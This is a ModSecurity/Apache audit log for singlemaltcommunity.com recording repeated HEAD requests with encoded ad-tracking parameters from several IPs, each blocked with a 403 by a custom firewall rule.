Stopwatch2: 1789265591268684 14900; combined=11781, p1=1123, p2=9441, p3=142, p4=22, p5=1053, sr=834, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--09a1be41-Z--
--de7abb24-A--
[13/Sep/2026:05:13:44.370538 +0300] aqYG2GM7dE9KgIIOpQhcogAAAMM 91.124.31.214 39356 127.0.0.1 7081
--de7abb24-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.214
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--de7abb24-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--de7abb24-E--
--de7abb24-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265624362548 8048 (- - -)
Stopwatch2: 1789265624362548 8048; combined=6070, p1=292, p2=5367, p3=84, p4=10, p5=317, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--de7abb24-Z--
--93227f23-A--
[13/Sep/2026:05:13:44.723431 +0300] aqYG2GM7dE9KgIIOpQhcowAAANc 91.124.31.100 39368 127.0.0.1 7081
--93227f23-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.100
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--93227f23-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--93227f23-E--
--93227f23-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265624715545 7927 (- - -)
Stopwatch2: 1789265624715545 7927; combined=6498, p1=370, p2=5739, p3=66, p4=6, p5=317, sr=155, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--93227f23-Z--
--ddc8093b-A--
[13/Sep/2026:05:13:45.076792 +0300] aqYG2WM7dE9KgIIOpQhcpAAAANY 91.124.31.125 39374 127.0.0.1 7081
--ddc8093b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.125
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--ddc8093b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ddc8093b-E--
--ddc8093b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265625070665 6165 (- - -)
Stopwatch2: 1789265625070665 6165; combined=4660, p1=682, p2=3648, p3=60, p4=7, p5=262, sr=551, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ddc8093b-Z--
--8da1695f-A--
[13/Sep/2026:05:14:13.559271 +0300] aqYG9TTJ6xTvcJoem7f1SwAAAEY 151.243.174.142 41682 127.0.0.1 7081
--8da1695f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8da1695f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8da1695f-E--
--8da1695f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265653553419 5901 (- - -)
Stopwatch2: 1789265653553419 5901; combined=4349, p1=262, p2=3727, p3=65, p4=7, p5=287, sr=128, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8da1695f-Z--
--35cbce54-A--
[13/Sep/2026:05:14:14.001006 +0300] aqYG9WM7dE9KgIIOpQhcqQAAAMU 95.134.102.250 41690 127.0.0.1 7081
--35cbce54-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--35cbce54-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--35cbce54-E--
--35cbce54-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265653995112 5934 (- - -)
Stopwatch2: 1789265653995112 5934; combined=4245, p1=215, p2=3654, p3=59, p4=5, p5=312, sr=89, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--35cbce54-Z--
--1d279866-A--
[13/Sep/2026:05:14:14.450199 +0300] aqYG9mM7dE9KgIIOpQhcqgAAANA 95.134.102.141 41702 127.0.0.1 7081
--1d279866-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--1d279866-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1d279866-E--
--1d279866-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265654442858 7387 (- - -)
Stopwatch2: 1789265654442858 7387; combined=5661, p1=1050, p2=4234, p3=77, p4=7, p5=292, sr=838, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1d279866-Z--
--6c9cc42b-A--
[13/Sep/2026:05:14:59.550302 +0300] aqYHI2M7dE9KgIIOpQhctAAAAMA 95.134.102.51 42680 127.0.0.1 7081
--6c9cc42b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.51
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6c9cc42b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6c9cc42b-E--
--6c9cc42b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265699542831 7510 (- - -)
Stopwatch2: 1789265699542831 7510; combined=4684, p1=455, p2=3875, p3=66, p4=6, p5=281, sr=200, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c9cc42b-Z--
--49277a7b-A--
[13/Sep/2026:05:15:02.692989 +0300] aqYHJmM7dE9KgIIOpQhctgAAAMU 95.134.102.178 42708 127.0.0.1 7081
--49277a7b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.178
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--49277a7b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--49277a7b-E--
--49277a7b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265702682729 10312 (- - -)
Stopwatch2: 1789265702682729 10312; combined=8416, p1=283, p2=7424, p3=92, p4=10, p5=607, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--49277a7b-Z--
--7936113f-A--
[13/Sep/2026:05:15:05.675265 +0300] aqYHKWM7dE9KgIIOpQhcuwAAANg 95.134.102.154 41452 127.0.0.1 7081
--7936113f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--7936113f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7936113f-E--
--7936113f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265705668287 7026 (- - -)
Stopwatch2: 1789265705668287 7026; combined=5324, p1=225, p2=4232, p3=82, p4=9, p5=775, sr=92, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7936113f-Z--
--e9281453-A--
[13/Sep/2026:05:16:13.632199 +0300] aqYHbUwu1RSkptiiNIXtKQAAAIE 209.101.128.153 46158 127.0.0.1 7081
--e9281453-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e9281453-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e9281453-E--
--e9281453-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265773625590 6648 (- - -)
Stopwatch2: 1789265773625590 6648; combined=4670, p1=298, p2=4011, p3=100, p4=7, p5=254, sr=145, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e9281453-Z--
--34753a7f-A--
[13/Sep/2026:05:16:13.893067 +0300] aqYHbUwu1RSkptiiNIXtKgAAAII 209.101.128.24 46160 127.0.0.1 7081
--34753a7f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--34753a7f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--34753a7f-E--
--34753a7f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265773884184 8970 (- - -)
Stopwatch2: 1789265773884184 8970; combined=6881, p1=464, p2=5746, p3=93, p4=9, p5=568, sr=182, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--34753a7f-Z--
--8da1695f-A--
[13/Sep/2026:05:16:14.144940 +0300] aqYHbkwu1RSkptiiNIXtKwAAAIY 209.101.128.80 46174 127.0.0.1 7081
--8da1695f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.80
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--8da1695f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8da1695f-E--
--8da1695f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265774139265 5736 (- - -)
Stopwatch2: 1789265774139265 5736; combined=4191, p1=319, p2=3555, p3=62, p4=6, p5=249, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8da1695f-Z--
--5d99a165-A--
[13/Sep/2026:05:18:14.893195 +0300] aqYH5jTJ6xTvcJoem7f1UgAAAEM 95.134.102.169 54624 127.0.0.1 7081
--5d99a165-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--5d99a165-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5d99a165-E--
--5d99a165-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265894886968 6266 (- - -)
Stopwatch2: 1789265894886968 6266; combined=4515, p1=326, p2=3887, p3=64, p4=6, p5=232, sr=141, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5d99a165-Z--
--5d99a165-A--
[13/Sep/2026:05:18:15.407374 +0300] aqYH50wu1RSkptiiNIXtMQAAAJM 95.134.102.121 54632 127.0.0.1 7081
--5d99a165-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.121
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--5d99a165-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5d99a165-E--
--5d99a165-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265895400474 6950 (- - -)
Stopwatch2: 1789265895400474 6950; combined=5108, p1=296, p2=4361, p3=75, p4=7, p5=368, sr=150, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5d99a165-Z--
--93c44403-A--
[13/Sep/2026:05:18:16.175463 +0300] aqYH6GM7dE9KgIIOpQhc2gAAAMA 151.243.174.20 52620 127.0.0.1 7081
--93c44403-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.20
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--93c44403-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--93c44403-E--
--93c44403-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265896169869 5633 (- - -)
Stopwatch2: 1789265896169869 5633; combined=4208, p1=220, p2=3665, p3=65, p4=7, p5=251, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--93c44403-Z--
--acea045b-A--
[13/Sep/2026:05:18:59.145180 +0300] aqYIE2M7dE9KgIIOpQhc4gAAANU 151.243.174.190 51758 127.0.0.1 7081
--acea045b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.190
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--acea045b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--acea045b-E--
--acea045b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265939139094 6125 (- - -)
Stopwatch2: 1789265939139094 6125; combined=4381, p1=239, p2=3824, p3=72, p4=7, p5=239, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--acea045b-Z--
--78507328-A--
[13/Sep/2026:05:18:59.690942 +0300] aqYIE2M7dE9KgIIOpQhc4wAAANY 95.134.102.135 51768 127.0.0.1 7081
--78507328-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--78507328-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--78507328-E--
--78507328-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265939684819 6163 (- - -)
Stopwatch2: 1789265939684819 6163; combined=4580, p1=239, p2=4015, p3=72, p4=7, p5=246, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--78507328-Z--
--ab367600-A--
[13/Sep/2026:05:19:00.145408 +0300] aqYIFEwu1RSkptiiNIXtNAAAAJY 151.243.174.132 51770 127.0.0.1 7081
--ab367600-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--ab367600-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ab367600-E--
--ab367600-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265940138722 6723 (- - -)
Stopwatch2: 1789265940138722 6723; combined=4952, p1=227, p2=4426, p3=68, p4=6, p5=225, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ab367600-Z--
--6800d212-A--
[13/Sep/2026:05:19:20.505042 +0300] aqYIKGM7dE9KgIIOpQhc6AAAAMk 95.134.102.123 39432 127.0.0.1 7081
--6800d212-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6800d212-F--
HTTP/1.1 403 Forbidden
